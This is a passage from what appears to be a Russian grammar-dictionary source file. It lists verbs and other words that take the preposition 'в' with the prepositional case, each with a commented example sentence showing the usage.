(АВТОРИЗОВАТЬСЯ В) rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл) rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В) частица:нет{}, // В этом нет сомнения. частица:нету{}, // В этом нету сомнения. rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов. прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В) rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В) rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В) rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В) rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл) rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В) rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в) rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В) rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В) rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В) rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В) rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В) rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В) rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В) rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В) rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В) rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В) rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В) rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В) rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В) rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:РАСКЛАДЫВАТЬСЯ{}, rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В) rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В) rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В) rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В) rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл) rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В) rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В) инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В) глагол:НАПИСАТЬ{ aux stress="напис^ать" }, прилагательное:НАПИСАННЫЙ{}, rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В) rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В) rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В) rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В) rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В) rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В) rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл) rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл) rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В) безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в) rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В) rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В) rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В) rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В) rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В) rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В) rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В) rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В) rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В) rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В) rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В) rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В) rus_verbs:объявить{}, // В газете объявили о конкурсе. rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В) rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В) rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в) rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в) rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в) rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в) инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В) глагол:ПАРИТЬ{ aux stress="пар^ить"}, деепричастие:паря{ aux stress="пар^я" }, прилагательное:ПАРЯЩИЙ{}, прилагательное:ПАРИВШИЙ{}, rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В) rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В) rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в) rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В) rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В) rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В) rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В) rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В) rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В) rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в) rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в) rus_verbs:принять{}, // Документ принят в следующей редакции (принять в) rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в) rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В) rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в) rus_verbs:звучать{}, // в доме звучала музыка (звучать в) rus_verbs:колебаться{}, // колеблется в выборе (колебаться в) rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в) rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в) rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в) rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в) rus_verbs:вычитывать{}, // вычитывать в книге rus_verbs:гудеть{}, // У него в ушах гудит. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки. rus_verbs:разойтись{}, // Они разошлись в темноте. rus_verbs:прибежать{}, // Мальчик прибежал в слезах. rus_verbs:биться{}, // Она билась в истерике. rus_verbs:регистрироваться{}, // регистрироваться в системе rus_verbs:считать{}, // я буду считать в уме rus_verbs:трахаться{}, // трахаться в гамаке rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке rus_verbs:разрушать{}, // разрушать в дробилке rus_verbs:засидеться{}, // засидеться в гостях rus_verbs:засиживаться{}, // засиживаться в гостях rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке) rus_verbs:навестить{}, // навестить в доме престарелых rus_verbs:запомнить{}, // запомнить в кэше rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.) rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка) rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику. rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.) rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу rus_verbs:оглядываться{}, // оглядываться в зеркале rus_verbs:нарисовать{}, // нарисовать в тетрадке rus_verbs:пробить{}, // пробить отверствие в стене rus_verbs:повертеть{}, // повертеть в руке rus_verbs:вертеть{}, // Я вертел в руках rus_verbs:рваться{}, // Веревка рвется в месте надреза rus_verbs:распространяться{}, // распространяться в среде наркоманов rus_verbs:попрощаться{}, // попрощаться в здании морга rus_verbs:соображать{}, // соображать в уме инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот) rus_verbs:разобрать{}, // разобрать в гараже rus_verbs:помереть{}, // помереть в пути rus_verbs:различить{}, // различить в темноте rus_verbs:рисовать{}, // рисовать в графическом редакторе rus_verbs:проследить{}, // проследить в записях камер слежения rus_verbs:совершаться{}, // Правосудие совершается в суде rus_verbs:задремать{}, // задремать в кровати rus_verbs:ругаться{}, // ругаться в комнате rus_verbs:зазвучать{}, // зазвучать в радиоприемниках rus_verbs:задохнуться{}, // задохнуться в воде rus_verbs:порождать{}, // порождать в неокрепших умах rus_verbs:отдыхать{}, // отдыхать в санатории rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении rus_verbs:образовать{}, // образовать в пробирке темную взвесь rus_verbs:отмечать{}, // отмечать в списке rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте rus_verbs:плясать{}, // плясать в откружении незнакомых людей rus_verbs:повысить{}, // повысить в звании rus_verbs:поджидать{}, // поджидать в подъезде rus_verbs:отказать{}, // отказать в пересмотре дела rus_verbs:раствориться{}, // раствориться в бензине rus_verbs:отражать{}, // отражать в стихах rus_verbs:дремать{}, // дремать в гамаке rus_verbs:применяться{}, // применяться в домашних условиях rus_verbs:присниться{}, // присниться во сне rus_verbs:трястись{}, // трястись в драндулете rus_verbs:сохранять{}, // сохранять в неприкосновенности rus_verbs:расстрелять{}, // расстрелять в ложбине rus_verbs:рассчитать{}, // рассчитать в программе rus_verbs:перебирать{}, // перебирать в руке rus_verbs:разбиться{}, // разбиться в аварии rus_verbs:поискать{}, // поискать в углу rus_verbs:мучиться{}, // мучиться в тесной клетке rus_verbs:замелькать{}, // замелькать в телевизоре rus_verbs:грустить{}, // грустить в одиночестве rus_verbs:крутить{}, // крутить в банке rus_verbs:объявиться{}, // объявиться в городе rus_verbs:подготовить{}, // подготовить в тайне rus_verbs:различать{}, // различать в смеси rus_verbs:обнаруживать{}, // обнаруживать в крови rus_verbs:киснуть{}, // киснуть в захолустье rus_verbs:оборваться{}, // оборваться в начале фразы rus_verbs:запутаться{}, // запутаться в веревках rus_verbs:общаться{}, // общаться в интимной обстановке rus_verbs:сочинить{}, // сочинить в ресторане rus_verbs:изобрести{}, // изобрести в домашней лаборатории rus_verbs:прокомментировать{}, // прокомментировать в своем блоге rus_verbs:давить{}, // давить в зародыше rus_verbs:повториться{}, // повториться в новом обличье rus_verbs:отставать{}, // отставать в общем зачете rus_verbs:разработать{}, // разработать в лаборатории rus_verbs:качать{}, // качать в кроватке rus_verbs:заменить{}, // заменить в двигателе rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере rus_verbs:забегать{}, // забегать в спешке rus_verbs:наделать{}, // наделать в решении ошибок rus_verbs:исказиться{}, // исказиться в кривом зеркале rus_verbs:тушить{}, // тушить в помещении пожар rus_verbs:охранять{}, // охранять в здании входы rus_verbs:приметить{}, // приметить в кустах rus_verbs:скрыть{}, // скрыть в складках одежды rus_verbs:удерживать{}, // удерживать в заложниках rus_verbs:увеличиваться{}, // увеличиваться в размере rus_verbs:красоваться{}, // красоваться в новом платье rus_verbs:сохраниться{}, // сохраниться в тепле rus_verbs:лечить{}, // лечить в стационаре rus_verbs:смешаться{}, // смешаться в баке rus_verbs:прокатиться{}, // прокатиться в троллейбусе rus_verbs:договариваться{}, // договариваться в закрытом кабинете rus_verbs:опубликовать{}, // опубликовать в официальном блоге rus_verbs:охотиться{}, // охотиться в прериях rus_verbs:отражаться{}, // отражаться в окне rus_verbs:понизить{}, // понизить в должности rus_verbs:обедать{}, // обедать в ресторане rus_verbs:посидеть{}, // посидеть в тени rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете rus_verbs:свершиться{}, // свершиться в суде rus_verbs:ночевать{}, // ночевать в гостинице rus_verbs:темнеть{}, // темнеть в воде rus_verbs:гибнуть{}, // гибнуть в застенках rus_verbs:усиливаться{}, // усиливаться в направлении главного удара rus_verbs:расплыться{}, // расплыться в улыбке rus_verbs:превышать{}, // превышать в несколько раз rus_verbs:проживать{}, // проживать в отдельной коморке rus_verbs:голубеть{}, // голубеть в тепле rus_verbs:исследовать{}, // исследовать в естественных условиях rus_verbs:обитать{}, // обитать в лесу rus_verbs:скучать{}, // скучать в одиночестве rus_verbs:сталкиваться{}, // сталкиваться в воздухе rus_verbs:таиться{}, // таиться в глубине rus_verbs:спасать{}, // спасать в море rus_verbs:заблудиться{}, // заблудиться в лесу rus_verbs:создаться{}, // создаться в новом виде rus_verbs:пошарить{}, // пошарить в кармане rus_verbs:планировать{}, // планировать в программе rus_verbs:отбить{}, // отбить в нижней части rus_verbs:отрицать{}, // отрицать в суде свою вину rus_verbs:основать{}, // основать в пустыне новый город rus_verbs:двоить{}, // двоить в глазах rus_verbs:устоять{}, // устоять в лодке rus_verbs:унять{}, // унять в ногах дрожь rus_verbs:отзываться{}, // отзываться в обзоре rus_verbs:притормозить{}, // притормозить в траве rus_verbs:читаться{}, // читаться в глазах rus_verbs:житься{}, // житься в деревне rus_verbs:заиграть{}, // заиграть в жилах rus_verbs:шевелить{}, // шевелить в воде rus_verbs:зазвенеть{}, // зазвенеть в ушах rus_verbs:зависнуть{}, // зависнуть в библиотеке rus_verbs:затаить{}, // затаить в душе обиду rus_verbs:сознаться{}, // сознаться в совершении rus_verbs:протекать{}, // протекать в легкой форме rus_verbs:выясняться{}, // выясняться в ходе эксперимента rus_verbs:скрестить{}, // скрестить в неволе rus_verbs:наводить{}, // наводить в комнате порядок rus_verbs:значиться{}, // значиться в документах rus_verbs:заинтересовать{}, // заинтересовать в получении результатов rus_verbs:познакомить{}, // познакомить в непринужденной обстановке rus_verbs:рассеяться{}, // рассеяться в воздухе rus_verbs:грохнуть{}, // грохнуть в подвале rus_verbs:обвинять{}, // обвинять в вымогательстве rus_verbs:столпиться{}, // столпиться в фойе rus_verbs:порыться{}, // порыться в сумке rus_verbs:ослабить{}, // ослабить в верхней части rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки rus_verbs:спастись{}, // спастись в хижине rus_verbs:прерваться{}, // прерваться в середине фразы rus_verbs:применять{}, // применять в повседневной работе rus_verbs:строиться{}, // строиться в зоне отчуждения rus_verbs:путешествовать{}, // путешествовать в самолете rus_verbs:побеждать{}, // побеждать в честной битве rus_verbs:погубить{}, // погубить в себе артиста rus_verbs:рассматриваться{}, // рассматриваться в следующей главе rus_verbs:продаваться{}, // продаваться в специализированном магазине rus_verbs:разместиться{}, // разместиться в аудитории rus_verbs:повидать{}, // повидать в жизни rus_verbs:настигнуть{}, // настигнуть в пригородах rus_verbs:сгрудиться{}, // сгрудиться в центре загона rus_verbs:укрыться{}, // укрыться в доме rus_verbs:расплакаться{}, // расплакаться в суде rus_verbs:пролежать{}, // пролежать в канаве rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде rus_verbs:поскользнуться{}, // поскользнуться в коридоре rus_verbs:таскать{}, // таскать в руках rus_verbs:нападать{}, // нападать в вольере rus_verbs:просматривать{}, // просматривать в браузере rus_verbs:обдумать{}, // обдумать в дороге rus_verbs:обвинить{}, // обвинить в измене rus_verbs:останавливать{}, // останавливать в дверях rus_verbs:теряться{}, // теряться в догадках rus_verbs:погибать{}, // погибать в бою rus_verbs:обозначать{}, // обозначать в списке rus_verbs:запрещать{}, // запрещать в парке rus_verbs:долететь{}, // долететь в вертолёте rus_verbs:тесниться{}, // тесниться в каморке rus_verbs:уменьшаться{}, // уменьшаться в размере rus_verbs:издавать{}, // издавать в небольшом издательстве rus_verbs:хоронить{}, // хоронить в море rus_verbs:перемениться{}, // перемениться в лице rus_verbs:установиться{}, // установиться в северных областях rus_verbs:прикидывать{}, // прикидывать в уме rus_verbs:затаиться{}, // затаиться в траве rus_verbs:раздобыть{}, // раздобыть в аптеке rus_verbs:перебросить{}, // перебросить в товарном составе rus_verbs:погружаться{}, // погружаться в батискафе rus_verbs:поживать{}, // поживать в одиночестве rus_verbs:признаваться{}, // признаваться в любви rus_verbs:захватывать{}, // захватывать в здании rus_verbs:покачиваться{}, // покачиваться в лодке rus_verbs:крутиться{}, // крутиться в колесе rus_verbs:помещаться{}, // помещаться в ящике rus_verbs:питаться{}, // питаться в столовой rus_verbs:отдохнуть{}, // отдохнуть в пансионате rus_verbs:кататься{}, // кататься в коляске rus_verbs:поработать{}, // поработать в цеху rus_verbs:подразумевать{}, // подразумевать в задании rus_verbs:ограбить{}, // ограбить в подворотне rus_verbs:преуспеть{}, // преуспеть в бизнесе rus_verbs:заерзать{}, // заерзать в кресле rus_verbs:разъяснить{}, // разъяснить в другой статье rus_verbs:продвинуться{}, // продвинуться в изучении rus_verbs:поколебаться{}, // поколебаться в начале rus_verbs:засомневаться{}, // засомневаться в честности rus_verbs:приникнуть{}, // приникнуть в уме rus_verbs:скривить{}, // скривить в усмешке rus_verbs:рассечь{}, // рассечь в центре опухоли rus_verbs:перепутать{}, // перепутать в роддоме rus_verbs:посмеяться{}, // посмеяться в перерыве rus_verbs:отмечаться{}, // отмечаться в полицейском участке rus_verbs:накопиться{}, // накопиться в отстойнике rus_verbs:уносить{}, // уносить в руках rus_verbs:навещать{}, // навещать в больнице rus_verbs:остыть{}, // остыть в проточной воде rus_verbs:запереться{}, // запереться в комнате rus_verbs:обогнать{}, // обогнать в первом круге rus_verbs:убеждаться{}, // убеждаться в неизбежности rus_verbs:подбирать{}, // подбирать в магазине rus_verbs:уничтожать{}, // уничтожать в полете rus_verbs:путаться{}, // путаться в показаниях rus_verbs:притаиться{}, // притаиться в темноте rus_verbs:проплывать{}, // проплывать в лодке rus_verbs:засесть{}, // засесть в окопе rus_verbs:подцепить{}, // подцепить в баре rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок rus_verbs:оправдаться{}, // оправдаться в суде rus_verbs:созреть{}, // созреть в естественных условиях rus_verbs:раскрываться{}, // раскрываться в подходящих условиях rus_verbs:ожидаться{}, // ожидаться в верхней части rus_verbs:одеваться{}, // одеваться в дорогих бутиках rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта rus_verbs:грабить{}, // грабить в подворотне rus_verbs:ужинать{}, // ужинать в ресторане rus_verbs:гонять{}, // гонять в жилах rus_verbs:уверить{}, // уверить в безопасности rus_verbs:потеряться{}, // потеряться в лесу rus_verbs:устанавливаться{}, // устанавливаться в комнате rus_verbs:предоставлять{}, // предоставлять в суде rus_verbs:протянуться{}, // протянуться в стене rus_verbs:допрашивать{}, // допрашивать в бункере rus_verbs:проработать{}, // проработать в кабинете rus_verbs:сосредоточить{}, // сосредоточить в своих руках rus_verbs:утвердить{}, // утвердить в должности rus_verbs:сочинять{}, // сочинять в дороге rus_verbs:померкнуть{}, // померкнуть в глазах rus_verbs:показываться{}, // показываться в окошке rus_verbs:похудеть{}, // похудеть в талии rus_verbs:проделывать{}, // проделывать в стене rus_verbs:прославиться{}, // прославиться в интернете rus_verbs:сдохнуть{}, // сдохнуть в нищете rus_verbs:раскинуться{}, // раскинуться в степи rus_verbs:развить{}, // развить в себе способности rus_verbs:уставать{}, // уставать в цеху rus_verbs:укрепить{}, // укрепить в земле rus_verbs:числиться{}, // числиться в списке rus_verbs:образовывать{}, // образовывать в смеси rus_verbs:екнуть{}, // екнуть в груди rus_verbs:одобрять{}, // одобрять в своей речи rus_verbs:запить{}, // запить в одиночестве rus_verbs:забыться{}, // забыться в тяжелом сне rus_verbs:чернеть{}, // чернеть в кислой среде rus_verbs:размещаться{}, // размещаться в гараже rus_verbs:соорудить{}, // соорудить в гараже rus_verbs:развивать{}, // развивать в себе rus_verbs:пастись{}, // пастись в пойме rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы rus_verbs:ослабнуть{}, // ослабнуть в сочленении rus_verbs:таить{}, // таить в себе инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке rus_verbs:приостановиться{}, // приостановиться в конце rus_verbs:топтаться{}, // топтаться в грязи rus_verbs:громить{}, // громить в финале rus_verbs:заменять{}, // заменять в основном составе rus_verbs:подъезжать{}, // подъезжать в колясках rus_verbs:вычислить{}, // вычислить в уме rus_verbs:заказывать{}, // заказывать в магазине rus_verbs:осуществить{}, // осуществить в реальных условиях rus_verbs:обосноваться{}, // обосноваться в дупле rus_verbs:пытать{}, // пытать в камере rus_verbs:поменять{}, // поменять в магазине rus_verbs:совершиться{}, // совершиться в суде rus_verbs:пролетать{}, // пролетать в вертолете rus_verbs:сбыться{}, // сбыться во сне rus_verbs:разговориться{}, // разговориться в отделении rus_verbs:преподнести{}, // преподнести в красивой упаковке rus_verbs:напечатать{}, // напечатать в типографии rus_verbs:прорвать{}, // прорвать в центре rus_verbs:раскачиваться{}, // раскачиваться в кресле rus_verbs:задерживаться{}, // задерживаться в дверях rus_verbs:угощать{}, // угощать в кафе rus_verbs:проступать{}, // проступать в глубине rus_verbs:шарить{}, // шарить в математике rus_verbs:увеличивать{}, // увеличивать в конце rus_verbs:расцвести{}, // расцвести в оранжерее rus_verbs:закипеть{}, // закипеть в баке rus_verbs:подлететь{}, // подлететь в вертолете rus_verbs:рыться{}, // рыться в куче rus_verbs:пожить{}, // пожить в гостинице rus_verbs:добираться{}, // добираться в попутном транспорте rus_verbs:перекрыть{}, // перекрыть в коридоре rus_verbs:продержаться{}, // продержаться в барокамере rus_verbs:разыскивать{}, // разыскивать в толпе rus_verbs:освобождать{}, // освобождать в зале суда rus_verbs:подметить{}, // подметить в человеке rus_verbs:передвигаться{}, // передвигаться в узкой юбке rus_verbs:продумать{}, // продумать в уме rus_verbs:извиваться{}, // извиваться в траве rus_verbs:процитировать{}, // процитировать в статье rus_verbs:прогуливаться{}, // прогуливаться в парке rus_verbs:защемить{}, // защемить в двери rus_verbs:увеличиться{}, // увеличиться в объеме rus_verbs:проявиться{}, // проявиться в результатах rus_verbs:заскользить{}, // заскользить в ботинках rus_verbs:пересказать{}, // пересказать в своем выступлении rus_verbs:протестовать{}, // протестовать в здании парламента rus_verbs:указываться{}, // указываться в путеводителе rus_verbs:копошиться{}, // копошиться в песке rus_verbs:проигнорировать{}, // проигнорировать в своей работе rus_verbs:купаться{}, // купаться в речке rus_verbs:подсчитать{}, // подсчитать в уме rus_verbs:разволноваться{}, // разволноваться в классе rus_verbs:придумывать{}, // придумывать в своем воображении rus_verbs:предусмотреть{}, // предусмотреть в программе rus_verbs:завертеться{}, // завертеться в колесе rus_verbs:зачерпнуть{}, // зачерпнуть в ручье rus_verbs:очистить{}, // очистить в химической лаборатории rus_verbs:прозвенеть{}, // прозвенеть в коридорах rus_verbs:уменьшиться{}, // уменьшиться в размере rus_verbs:колыхаться{}, // колыхаться в проточной воде rus_verbs:ознакомиться{}, // ознакомиться в автобусе rus_verbs:ржать{}, // ржать в аудитории rus_verbs:раскинуть{}, // раскинуть в микрорайоне rus_verbs:разлиться{}, // разлиться в воде rus_verbs:сквозить{}, // сквозить в словах rus_verbs:задушить{}, // задушить в объятиях rus_verbs:осудить{}, // осудить в особом порядке rus_verbs:разгромить{}, // разгромить в честном поединке rus_verbs:подслушать{}, // подслушать в кулуарах rus_verbs:проповедовать{}, // проповедовать в сельских районах rus_verbs:озарить{}, // озарить во сне rus_verbs:потирать{}, // потирать в предвкушении rus_verbs:описываться{}, // описываться в статье rus_verbs:качаться{}, // качаться в кроватке rus_verbs:усилить{}, // усилить в центре rus_verbs:прохаживаться{}, // прохаживаться в новом костюме rus_verbs:полечить{}, // полечить в больничке rus_verbs:сниматься{}, // сниматься в римейке rus_verbs:сыскать{}, // сыскать в наших краях rus_verbs:поприветствовать{}, // поприветствовать в коридоре rus_verbs:подтвердиться{}, // подтвердиться в эксперименте rus_verbs:плескаться{}, // плескаться в теплой водичке rus_verbs:расширяться{}, // расширяться в первом сегменте rus_verbs:мерещиться{}, // мерещиться в тумане rus_verbs:сгущаться{}, // сгущаться в воздухе rus_verbs:храпеть{}, // храпеть во сне rus_verbs:подержать{}, // подержать в руках rus_verbs:накинуться{}, // накинуться в подворотне rus_verbs:планироваться{}, // планироваться в закрытом режиме rus_verbs:пробудить{}, // пробудить в себе rus_verbs:побриться{}, // побриться в ванной rus_verbs:сгинуть{}, // сгинуть в пучине rus_verbs:окрестить{}, // окрестить в церкви инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления rus_verbs:замкнуться{}, // замкнуться в себе rus_verbs:прибавлять{}, // прибавлять в весе rus_verbs:проплыть{}, // проплыть в лодке rus_verbs:растворяться{}, // растворяться в тумане rus_verbs:упрекать{}, // упрекать в небрежности rus_verbs:затеряться{}, // затеряться в лабиринте rus_verbs:перечитывать{}, // перечитывать в поезде rus_verbs:перелететь{}, // перелететь в вертолете rus_verbs:оживать{}, // оживать в теплой воде rus_verbs:заглохнуть{}, // заглохнуть в полете rus_verbs:кольнуть{}, // кольнуть в боку rus_verbs:копаться{}, // копаться в куче rus_verbs:развлекаться{}, // развлекаться в клубе rus_verbs:отливать{}, // отливать в кустах rus_verbs:зажить{}, // зажить в деревне rus_verbs:одолжить{}, // одолжить в соседнем кабинете rus_verbs:заклинать{}, // заклинать в своей речи rus_verbs:различаться{}, // различаться в мелочах rus_verbs:печататься{}, // печататься в типографии rus_verbs:угадываться{}, // угадываться в контурах rus_verbs:обрывать{}, // обрывать в начале rus_verbs:поглаживать{}, // поглаживать в кармане rus_verbs:подписывать{}, // подписывать в присутствии понятых 